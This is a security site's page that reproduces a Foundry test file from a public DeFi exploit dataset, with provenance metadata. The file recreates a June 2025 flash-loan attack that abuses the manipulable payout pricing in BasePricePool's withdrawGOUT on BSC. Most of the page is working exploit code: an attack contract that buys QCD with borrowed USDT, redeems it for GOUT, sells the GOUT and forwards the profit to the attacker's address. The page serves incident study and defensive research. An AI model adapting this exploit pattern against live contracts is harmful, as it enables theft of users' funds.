Public reproduction file
src/test/2025-06/BasePricePool_exp.sol
Public reproduction file for dataset entry BasePricePool.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 802.57 USD8// Attacker : 0xd9A34aF0b97f13871287C317ea0e1E8C00be06309// Attack Contract : 0x99e9Ee61cAC90715FdEDbB07D8786535964BF47b10// Vulnerable Contract : 0x53FEF7d598A2db0920b2a9FdF27e5C401DC9fF8511// Attack Tx : https://bscscan.com/tx/0x21cbcc96cd7e31bcb5a724c7ae2ad886c0782d73f83dcbf49cf64f2c2eee4a5112//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x53FEF7d598A2db0920b2a9FdF27e5C401DC9fF85#code15// Run note : FOUNDRY_EVM_VERSION=cancun is required when the repo default EVM is older than Cancun.16//17// @Analysis18// Telegram Alert : https://t.me/defimon_alerts/130619//20// Attack summary: the attacker flash-borrowed USDT, bought QCD, called BasePricePool.withdrawGOUT with21// the freshly bought QCD, sold the received GOUT back to USDT, repaid the flash source, and kept the22// surplus USDT.23// Root cause: withdrawGOUT prices the GOUT payout from the post-transfer QCD amount and a circulating24// QCD denominator derived from manipulable token/pair balances, allowing an attacker to redeem newly25// purchased QCD for more GOUT value than the QCD cost.27address constant ATTACKER = 0xd9A34AF0b97f13871287C317ea0e1E8C00BE0630;28address constant HISTORICAL_ATTACK_CONTRACT = 0x99e9eE61CaC90715fDEDBB07d8786535964bF47b;29address constant DODO_USDT_POOL = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;30address constant BASE_PRICE_POOL = 0x53FeF7d598A2Db0920b2A9fDF27E5C401DC9Ff85;31address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;32address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;33address constant QCD_TOKEN = 0x50D5C6cbe5B5d4ae048F8AA3cdcdc5A2f10d5F78;34address constant GOUT_TOKEN = 0xF86AF2FBcf6A0479B21b1d3a4Af3893F63207FE7;36uint256 constant FLASH_USDT_AMOUNT = 1_900 ether;38interface IBasePricePool {39 function withdrawGOUT(40 uint256 amount41 ) external;42}44interface IPancakeRouterFeeOnTransfer {45 function swapExactTokensForTokensSupportingFeeOnTransferTokens(46 uint256 amountIn,47 uint256 amountOutMin,48 address[] calldata path,49 address to,50 uint256 deadline51 ) external;52}54contract ContractTest is BaseTestWithBalanceLog {55 function setUp() public {56 uint256 forkBlock = 51_713_981;57 vm.createSelectFork("bsc", forkBlock);59 fundingToken = USDT_TOKEN;60 attacker = ATTACKER;62 vm.label(ATTACKER, "Attacker");63 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");64 vm.label(DODO_USDT_POOL, "DODO USDT pool");65 vm.label(BASE_PRICE_POOL, "BasePricePool");66 vm.label(PANCAKE_ROUTER, "Pancake router");67 vm.label(USDT_TOKEN, "USDT");68 vm.label(QCD_TOKEN, "QCD");69 vm.label(GOUT_TOKEN, "GOUT");70 }72 function testExploit() public balanceLog {73 uint256 dodoUsdtBefore = IERC20(USDT_TOKEN).balanceOf(DODO_USDT_POOL);74 uint256 attackerUsdtBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);76 assertGe(dodoUsdtBefore, FLASH_USDT_AMOUNT);78 BasePricePoolAttack attack = new BasePricePoolAttack(ATTACKER);80 // step 1: model the historical DODO flash loan as same-transaction USDT capital and exact repay.81 vm.prank(DODO_USDT_POOL);82 IERC20(USDT_TOKEN).transfer(address(attack), FLASH_USDT_AMOUNT);84 attack.execute();86 uint256 attackerProfit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerUsdtBefore;87 assertEq(IERC20(USDT_TOKEN).balanceOf(DODO_USDT_POOL), dodoUsdtBefore);88 assertGt(attackerProfit, 790 ether);89 }90}92contract BasePricePoolAttack {93 address private immutable profitReceiver;95 constructor(96 address receiver97 ) {98 profitReceiver = receiver;100 IERC20(USDT_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);101 IERC20(QCD_TOKEN).approve(BASE_PRICE_POOL, type(uint256).max);102 IERC20(GOUT_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);103 }105 function execute() external {106 address[] memory usdtToQcd = new address[](2);107 usdtToQcd[0] = USDT_TOKEN;108 usdtToQcd[1] = QCD_TOKEN;110 // step 2: buy QCD with the flash USDT.111 IPancakeRouterFeeOnTransfer(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(112 FLASH_USDT_AMOUNT, 1, usdtToQcd, address(this), block.timestamp + 1 hours113 );115 // step 3: redeem the newly bought QCD through the vulnerable payout calculation.116 uint256 qcdBalance = IERC20(QCD_TOKEN).balanceOf(address(this));117 IBasePricePool(BASE_PRICE_POOL).withdrawGOUT(qcdBalance);119 address[] memory goutToUsdt = new address[](2);120 goutToUsdt[0] = GOUT_TOKEN;121 goutToUsdt[1] = USDT_TOKEN;123 // step 4: sell the received GOUT, repay the flash source, and forward the USDT profit.124 uint256 goutBalance = IERC20(GOUT_TOKEN).balanceOf(address(this));125 IPancakeRouterFeeOnTransfer(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(126 goutBalance, 1, goutToUsdt, address(this), block.timestamp + 1 hours127 );129 IERC20(USDT_TOKEN).transfer(DODO_USDT_POOL, FLASH_USDT_AMOUNT);130 IERC20(USDT_TOKEN).transfer(profitReceiver, IERC20(USDT_TOKEN).balanceOf(address(this)));131 }133 receive() external payable {}134}Analysis
Dataset entry
Public Foundry test for “BasePricePool” (2025-06-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd9a34af0b97f13871287c317ea0e1e8c00be0630
- Attack Contract
0x99e9ee61cac90715fdedbb07d8786535964bf47b
- Vulnerable Contract
0x53fef7d598a2db0920b2a9fdf27e5c401dc9ff85
- Attack Tx
0x21cbcc96cd7e31bcb5a724c7ae2ad886c0782d73f83dcbf49cf64f2c2eee4a51
File record
- Name
- BasePricePool
- Path
- src/test/2025-06/BasePricePool_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8daafd872891aa12f13d35ed910061e77f78f924
- Language
- Solidity
- Size
- 135 lines
- Date
- 2025-06-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/BasePricePool_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8daafd872891aa12f13d35ed910061e77f78f924, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.